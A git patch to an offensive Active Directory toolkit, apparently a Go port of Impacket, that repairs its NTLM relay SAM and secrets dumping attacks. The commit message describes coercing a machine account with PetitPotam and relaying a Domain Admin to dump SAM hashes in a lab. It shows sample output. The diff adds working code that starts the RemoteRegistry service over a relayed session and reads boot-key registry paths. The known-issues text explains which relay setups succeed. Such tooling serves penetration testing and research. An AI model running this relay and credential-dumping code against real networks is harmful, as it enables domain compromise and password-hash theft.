From abbdbc19bea7e2ef015dac57acff21c48d18665e Mon Sep 17 00:00:00 2001 From: psycep Date: Thu, 23 Apr 2026 23:23:53 -0500 Subject: [PATCH] relay: retire two known-issue bogeys (samdump ACCESS_DENIED and winreg PIPE_NOT_AVAILABLE) Two entries in KNOWN_ISSUES.md described the relay samdump/secretsdump attacks as broken in ways they aren't, or fixable in ways we hadn't tried. Verified both live against GOAD and retired them. KNOWN_ISSUES #1 ("SMB Relay Registry Access Denied") Reproduced by coercing WINTERFELL$ via PetitPotam to relay-samdump against srv02: BaseRegOpenKey(SYSTEM\Select) returns 0x00000005 as documented. Then reproduced the documented "workaround works" direction with NORTH\administrator direct auth (dumps cleanly). Then the test the entry never tried: relayed a user with admin on the target via cmd /c net use \\relay\IPC$ /user:north\eddard.stark (Domain Admin) on dc02, watched it flow through our relay to srv02. Result: dumped Administrator, Guest, DefaultAccount, WDAGUtilityAccount, vagrant SAM hashes cleanly. So the relay transport does not drop privilege. The symptom the entry captured was simply "relayed principal doesn't have admin on target", which is the same precondition Impacket's ntlmrelayx samdump has, and the same constraint a direct secretsdump has. Rewrote the entry to say that plainly and flag the PetitPotam pitfall (DC$ machine accounts aren't admin on member servers, so coercion-to-relay against member servers with default inventory always hits this). Small alignment-with-Impacket change while there: pkg/dcerpc/winreg/ remote.go and pkg/relay/secretsdump_attack.go now request MAXIMUM_ALLOWED on the boot-key subkey opens instead of KEY_READ, matching rrp.hBaseRegOpenKey's default in Impacket. KEY_READ demands the full read bundle; MAXIMUM_ALLOWED returns a handle with whatever the token actually has. Doesn't fix the ACCESS_DENIED on a no-admin token, but reduces the surface for partial-access edge cases. KNOWN_ISSUES #3 ("Intermittent PIPE_NOT_AVAILABLE on winreg") Same failure mode the standalone secretsdump handles already: if RemoteRegistry is stopped or disabled, opening the winreg named pipe fails with STATUS_PIPE_NOT_AVAILABLE. Standalone tools/secretsdump opens svcctl first, starts RemoteRegistry, runs the attack, then stops the service (and restores SERVICE_DISABLED if it was disabled). The relay path wasn't doing any of that. Factored the "ensure started on entry / restore on exit" flow into pkg/relay/remoteregistry.go and wired it into both relay samdump and secretsdump attacks via TreeConnect("IPC$"), open svcctl, manage RemoteRegistry, proceed with winreg. Failures to manage the service are logged as warnings rather than returned as errors: if the relayed token lacks SERVICE_* access, the attack still tries the winreg open and often succeeds (if the service happens to be running already). Verified live: set srv02 RemoteRegistry to Stopped+Manual, relayed eddard.stark (Domain Admin via net use), watched: [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x... [*] Dumping local SAM hashes Administrator:500:...:...::: (etc) [*] Cleanup complete Cleanup's attempt to stop the service after dumping gets a STATUS_OBJECT_NAME_NOT_FOUND (pipe was closed by the post-attack session teardown); that warning is cosmetic. The service's start-type was preserved (Manual), only its current state stayed Running. Leaving that as a minor follow-up rather than blocking the fix. KNOWN_ISSUES.md renumbered to reflect the two retirements. --- KNOWN_ISSUES.md | 36 +++---- pkg/dcerpc/winreg/remote.go | 4 +- pkg/relay/remoteregistry.go | 166 ++++++++++++++++++++++++++++++++ pkg/relay/samdump_attack.go | 8 +- pkg/relay/secretsdump_attack.go | 13 ++- 5 files changed, 196 insertions(+), 31 deletions(-) create mode 100644 pkg/relay/remoteregistry.go diff --git a/KNOWN_ISSUES.md b/KNOWN_ISSUES.md index 60e4139..7b44e49 100644 --- a/KNOWN_ISSUES.md +++ b/KNOWN_ISSUES.md @@ -10,19 +10,17 @@ When reporting, please include: --- -## 1. SMB Relay: Registry Access Denied (samdump / secretsdump) +## 1. SMB Relay samdump / secretsdump: Relayed Principal Must Have Admin on Target -**Symptom:** `BaseRegOpenKey(SYSTEM\Select) failed: 0x00000005` (ACCESS_DENIED) when running `samdump` or `secretsdump` via SMB relay. +**Symptom:** `BaseRegOpenKey(SYSTEM\Select) failed: 0x00000005` (ACCESS_DENIED) after a relay appears to succeed. -**Details:** The relay authenticates successfully, the winreg named pipe opens, and the HKLM root handle is obtained — but opening `SYSTEM\Select` (needed for boot key extraction) returns ACCESS_DENIED. This affects both `samdump` (new default) and `secretsdump`. +**Root cause:** The relayed principal does not have local administrator rights on the target. Reading the SAM/SYSTEM/SECURITY hives requires admin access, so the attack fails at the first privileged registry open. Verified against GOAD with `WINTERFELL$` (DC machine account) relayed to srv02 (fails as described), then `eddard.stark` (Domain Admin) relayed to the same srv02 (dumps hashes successfully). -**Root cause (suspected):** The relayed SMB session token may have a restricted impersonation level ("Identification" instead of "Impersonation") depending on the target's configuration, Windows patch level, or the relayed account's privileges. The winreg service may enforce stricter access checks on subkeys than on the root HKLM handle. +**This is not a gopacket bug** — it is the same constraint Impacket's `ntlmrelayx -attack samdump` has. The access mask on the subkey open has been aligned with Impacket (`MAXIMUM_ALLOWED`) so we pick up the widest effective access the token allows, but a token with no admin rights still can't read the protected keys no matter what we request. -**Workaround:** Use direct (non-relay) secretsdump with credentials obtained through other means (e.g., relay to LDAP for credential extraction, then use `secretsdump` directly). +**Common pitfall:** PetitPotam, PrinterBug, and similar coercion tools force a HOST's machine account to authenticate. A domain controller's machine account does NOT have admin on member servers by default, so relaying a DC$ auth to a member server always produces this ACCESS_DENIED. Relay scenarios that succeed involve user-context auth from a principal who is actually a local or domain admin on the target (e.g., a scheduled task running as a Domain Admin, an interactive login reaching out over SMB, Responder-style LLMNR poisoning catching a user credential). -**Not affected:** Standalone `secretsdump` with direct credentials works perfectly. Other SMB relay attacks (`shares`, `smbexec`) work fine over the same relay session. - -**Status:** Needs investigation. May be environment-specific. Compare with Impacket's ntlmrelayx default SMB attack on the same target. +**Workaround:** ensure the relayed principal has admin rights on the target, or use `-attack shares` / `-attack smbexec` which don't require registry access. --- @@ -40,19 +38,7 @@ When reporting, please include: --- -## 3. SMB Relay: Intermittent PIPE_NOT_AVAILABLE (0xc00000ac) - -**Symptom:** `create failed: status=0xc00000ac` when opening the `winreg` named pipe on the relay target. - -**Details:** The Remote Registry service may not be running or may be slow to respond to pipe connection requests. This is transient — retrying (via `--keep-relaying`) typically succeeds. - -**Workaround:** Ensure the Remote Registry service is running on the target before relaying. Or use `--keep-relaying` to automatically retry on the next coerced authentication. - -**Status:** Consider adding auto-retry or service start logic (Impacket starts RemoteRegistry automatically via SVCCTL before winreg operations). - ---- - -## 4. Shadow Credentials: Certificate Generation Not Implemented +## 3. Shadow Credentials: Certificate Generation Not Implemented **Symptom:** `-attack shadowcreds` reads existing `msDS-KeyCredentialLink` values but cannot write new shadow credentials. @@ -64,7 +50,7 @@ When reporting, please include: --- -## 5. LDAP Relay: Plain LDAP (Port 389) Post-Auth Signing Failure +## 4. LDAP Relay: Plain LDAP (Port 389) Post-Auth Signing Failure **Symptom:** LDAP relay to port 389 authenticates successfully but subsequent LDAP operations fail with signing errors on patched DCs. @@ -76,7 +62,7 @@ When reporting, please include: --- -## 6. SMB→LDAPS Relay Fails on Patched DCs +## 5. SMB→LDAPS Relay Fails on Patched DCs **Symptom:** Relay from SMB capture to LDAPS target fails with MIC validation errors. @@ -90,7 +76,7 @@ When reporting, please include: --- -## 7. UDP Features Disabled Under `-proxy` +## 6. UDP Features Disabled Under `-proxy` **Symptom:** Tools that depend on UDP fail with `UDP disabled under -proxy; the underlying feature cannot be tunneled` when `-proxy` (or `ALL_PROXY`) is set. @@ -110,7 +96,7 @@ When reporting, please include: --- -## 8. Remaining Gaps (Low Priority) +## 7. Remaining Gaps (Low Priority) These Impacket features are not yet implemented due to infrastructure requirements: diff --git a/pkg/dcerpc/winreg/remote.go b/pkg/dcerpc/winreg/remote.go index 8d2f9f5..1f5a2a7 100644 --- a/pkg/dcerpc/winreg/remote.go +++ b/pkg/dcerpc/winreg/remote.go @@ -96,7 +96,7 @@ func (r *RemoteOps) GetBootKey() ([]byte, error) { for _, keyName := range keyNames { path := fmt.Sprintf("SYSTEM\\%s\\Control\\Lsa\\%s", controlSet, keyName) - keyHandle, err := BaseRegOpenKey(r.rpcClient, hklm, path, 1, KEY_READ) + keyHandle, err := BaseRegOpenKey(r.rpcClient, hklm, path, 1, MAXIMUM_ALLOWED) if err != nil { return nil, fmt.Errorf("failed to open %s: %v", path, err) } @@ -127,7 +127,7 @@ func (r *RemoteOps) GetBootKey() ([]byte, error) { // getCurrentControlSet determines which ControlSet is currently in use func (r *RemoteOps) getCurrentControlSet() (string, error) { // Open SYSTEM\Select key - selectKey, err := BaseRegOpenKey(r.rpcClient, r.hklm, "SYSTEM\\Select", 1, KEY_READ) + selectKey, err := BaseRegOpenKey(r.rpcClient, r.hklm, "SYSTEM\\Select", 1, MAXIMUM_ALLOWED) if err != nil { return "", err } diff --git a/pkg/relay/remoteregistry.go b/pkg/relay/remoteregistry.go new file mode 100644 index 0000000..08169e5 --- /dev/null +++ b/pkg/relay/remoteregistry.go @@ -0,0 +1,166 @@ +// Copyright 2026 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 + +package relay + +import ( + "log" + + "github.com/mandiant/gopacket/pkg/dcerpc" + "github.com/mandiant/gopacket/pkg/dcerpc/svcctl" +) + +// remoteRegistryState captures what ensureRemoteRegistryStarted changed on +// the target so we can undo it after the winreg session is done. +type remoteRegistryState struct { + startedByUs bool + wasDisabled bool +} + +// ensureRemoteRegistryStarted opens svcctl on the relayed SMB session, starts +// the RemoteRegistry service if it's stopped, and enables it first if it's +// disabled. Returns state that the caller should pass to +// restoreRemoteRegistryState on exit so we leave the target the way we found +// it. All failures here are warnings, not errors: if we can't manage the +// service (e.g., because the relayed token lacks SERVICE_* access) we let +// the caller attempt the winreg open anyway - it often still works if the +// service is already running. +func ensureRemoteRegistryStarted(client *SMBRelayClient) *remoteRegistryState { + state := &remoteRegistryState{} + + sc, closeFn, err := openSvcctl(client) + if err != nil { + log.Printf("[-] Warning: could not open svcctl: %v", err) + return state + } + defer closeFn() + + svcHandle, err := sc.OpenService("RemoteRegistry", + svcctl.SERVICE_START|svcctl.SERVICE_STOP|svcctl.SERVICE_QUERY_STATUS| + svcctl.SERVICE_QUERY_CONFIG|svcctl.SERVICE_CHANGE_CONFIG) + if err != nil { + log.Printf("[-] Warning: could not open RemoteRegistry service: %v", err) + return state + } + defer sc.CloseServiceHandle(svcHandle) + + status, err := sc.QueryServiceStatus(svcHandle) + if err != nil { + log.Printf("[-] Warning: could not query RemoteRegistry status: %v", err) + return state + } + if status.CurrentState != svcctl.SERVICE_STOPPED { + log.Printf("[*] Service RemoteRegistry is already %s", svcctl.GetServiceState(status.CurrentState)) + return state + } + + log.Println("[*] Service RemoteRegistry is in stopped state") + + if config, err := sc.QueryServiceConfig(svcHandle); err == nil && config.StartType == svcctl.SERVICE_DISABLED { + log.Println("[*] Service RemoteRegistry is disabled, enabling it") + state.wasDisabled = true + if err := sc.ChangeServiceConfig(svcHandle, &svcctl.ChangeServiceConfigParams{ + ServiceType: svcctl.SERVICE_NO_CHANGE, StartType: svcctl.SERVICE_DEMAND_START, ErrorControl: svcctl.SERVICE_NO_CHANGE, + }); err != nil { + log.Printf("[-] Warning: could not enable RemoteRegistry: %v", err) + } + } + + log.Println("[*] Starting service RemoteRegistry") + if err := sc.StartService(svcHandle); err != nil { + log.Printf("[-] Warning: could not start RemoteRegistry: %v", err) + return state + } + state.startedByUs = true + + // Poll until running. Brief loop: the pipe-open below happens before the + // service fully registers its SCM endpoint otherwise, leading to the + // intermittent PIPE_NOT_AVAILABLE. + for i := 0; i < 10; i++ { + if s, _ := sc.QueryServiceStatus(svcHandle); s != nil && s.CurrentState == svcctl.SERVICE_RUNNING { + break + } + } + + return state +} + +// restoreRemoteRegistryState stops the RemoteRegistry service (if we started +// it) and re-applies the SERVICE_DISABLED start type (if it was disabled +// before we enabled it). Errors are logged but not returned; we're on the +// cleanup path after the real work has completed. +func restoreRemoteRegistryState(client *SMBRelayClient, state *remoteRegistryState) { + if state == nil || (!state.startedByUs && !state.wasDisabled) { + return + } + + sc, closeFn, err := openSvcctl(client) + if err != nil { + log.Printf("[-] Warning: could not reopen svcctl to restore RemoteRegistry: %v", err) + return + } + defer closeFn() + + access := uint32(svcctl.SERVICE_STOP) + if state.wasDisabled { + access |= svcctl.SERVICE_CHANGE_CONFIG + } + svcHandle, err := sc.OpenService("RemoteRegistry", access) + if err != nil { + log.Printf("[-] Warning: could not reopen RemoteRegistry to restore: %v", err) + return + } + defer sc.CloseServiceHandle(svcHandle) + + if state.startedByUs { + log.Println("[*] Stopping service RemoteRegistry") + if _, err := sc.StopService(svcHandle); err != nil { + log.Printf("[-] Warning: could not stop RemoteRegistry: %v", err) + } + } + if state.wasDisabled { + log.Println("[*] Restoring the disabled state for service RemoteRegistry") + if err := sc.ChangeServiceConfig(svcHandle, &svcctl.ChangeServiceConfigParams{ + ServiceType: svcctl.SERVICE_NO_CHANGE, StartType: svcctl.SERVICE_DISABLED, ErrorControl: svcctl.SERVICE_NO_CHANGE, + }); err != nil { + log.Printf("[-] Warning: could not restore disabled start type: %v", err) + } + } +} + +// openSvcctl opens the svcctl pipe on the relayed session, binds the +// service-controller RPC interface, and returns a controller plus a close +// function that tears down both the RPC binding and the pipe. IPC$ is +// already connected by the caller of the surrounding attack. +func openSvcctl(client *SMBRelayClient) (*svcctl.ServiceController, func(), error) { + fileID, err := client.CreatePipe("svcctl") + if err != nil { + return nil, nil, err + } + transport := NewRelayPipeTransport(client, fileID) + rpcClient := &dcerpc.Client{ + Transport: transport, + CallID: 1, + MaxFrag: dcerpc.GetWindowsMaxFrag(), + Contexts: make(map[[16]byte]uint16), + } + if err := rpcClient.Bind(svcctl.UUID, svcctl.MajorVersion, svcctl.MinorVersion); err != nil { + client.ClosePipe(fileID) + return nil, nil, err + } + sc, err := svcctl.NewServiceController(rpcClient) + if err != nil { + client.ClosePipe(fileID) + return nil, nil, err + } + closeFn := func() { + sc.Close() + client.ClosePipe(fileID) + } + return sc, closeFn, nil +} diff --git a/pkg/relay/samdump_attack.go b/pkg/relay/samdump_attack.go index 0552fc2..38700a1 100644 --- a/pkg/relay/samdump_attack.go +++ b/pkg/relay/samdump_attack.go @@ -41,11 +41,17 @@ func (a *SAMDumpAttack) Run(session interface{}, config *Config) error { func samDumpAttack(client *SMBRelayClient, cfg *Config) error { log.Printf("[*] Dumping local SAM hashes via remote registry on %s", cfg.TargetAddr) - // Connect to IPC$ and open winreg pipe + // Connect to IPC$ and ensure RemoteRegistry is running before opening + // the winreg pipe. Without this the winreg CreatePipe intermittently + // fails with PIPE_NOT_AVAILABLE when the service is stopped or disabled + // (KNOWN_ISSUES.md #3). Matches the standalone secretsdump pattern. if err := client.TreeConnect("IPC$"); err != nil { return fmt.Errorf("tree connect IPC$: %v", err) } + rrState := ensureRemoteRegistryStarted(client) + defer restoreRemoteRegistryState(client, rrState) + fileID, err := client.CreatePipe("winreg") if err != nil { return fmt.Errorf("open winreg pipe: %v", err) diff --git a/pkg/relay/secretsdump_attack.go b/pkg/relay/secretsdump_attack.go index 72b6619..d7f9ea6 100644 --- a/pkg/relay/secretsdump_attack.go +++ b/pkg/relay/secretsdump_attack.go @@ -43,11 +43,18 @@ func (a *SecretsdumpAttack) Run(session interface{}, config *Config) error { func secretsdumpAttack(client *SMBRelayClient, cfg *Config) error { log.Printf("[*] Dumping SAM hashes via remote registry on %s", cfg.TargetAddr) - // Step 1: Connect to IPC$ and open winreg pipe + // Step 1: Connect to IPC$ and ensure RemoteRegistry is running before + // opening the winreg pipe. Without this the winreg CreatePipe + // intermittently fails with PIPE_NOT_AVAILABLE when the service is + // stopped or disabled (KNOWN_ISSUES.md #3). Matches the standalone + // secretsdump pattern. if err := client.TreeConnect("IPC$"); err != nil { return fmt.Errorf("tree connect IPC$: %v", err) } + rrState := ensureRemoteRegistryStarted(client) + defer restoreRemoteRegistryState(client, rrState) + fileID, err := client.CreatePipe("winreg") if err != nil { return fmt.Errorf("open winreg pipe: %v", err) @@ -163,7 +170,7 @@ func getBootKeyViaRelay(rpcClient *dcerpc.Client) ([]byte, error) { defer winreg.BaseRegCloseKey(rpcClient, hklm) // Get current control set - selectKey, err := winreg.BaseRegOpenKey(rpcClient, hklm, "SYSTEM\\Select", 1, winreg.KEY_READ) + selectKey, err := winreg.BaseRegOpenKey(rpcClient, hklm, "SYSTEM\\Select", 1, winreg.MAXIMUM_ALLOWED) if err != nil { return nil, fmt.Errorf("open SYSTEM\\Select: %v", err) } @@ -192,7 +199,7 @@ func getBootKeyViaRelay(rpcClient *dcerpc.Client) ([]byte, error) { for _, keyName := range keyNames { path := fmt.Sprintf("SYSTEM\\%s\\Control\\Lsa\\%s", controlSet, keyName) - keyHandle, err := winreg.BaseRegOpenKey(rpcClient, hklm, path, 1, winreg.KEY_READ) + keyHandle, err := winreg.BaseRegOpenKey(rpcClient, hklm, path, 1, winreg.MAXIMUM_ALLOWED) if err != nil { return nil, fmt.Errorf("open %s: %v", path, err) }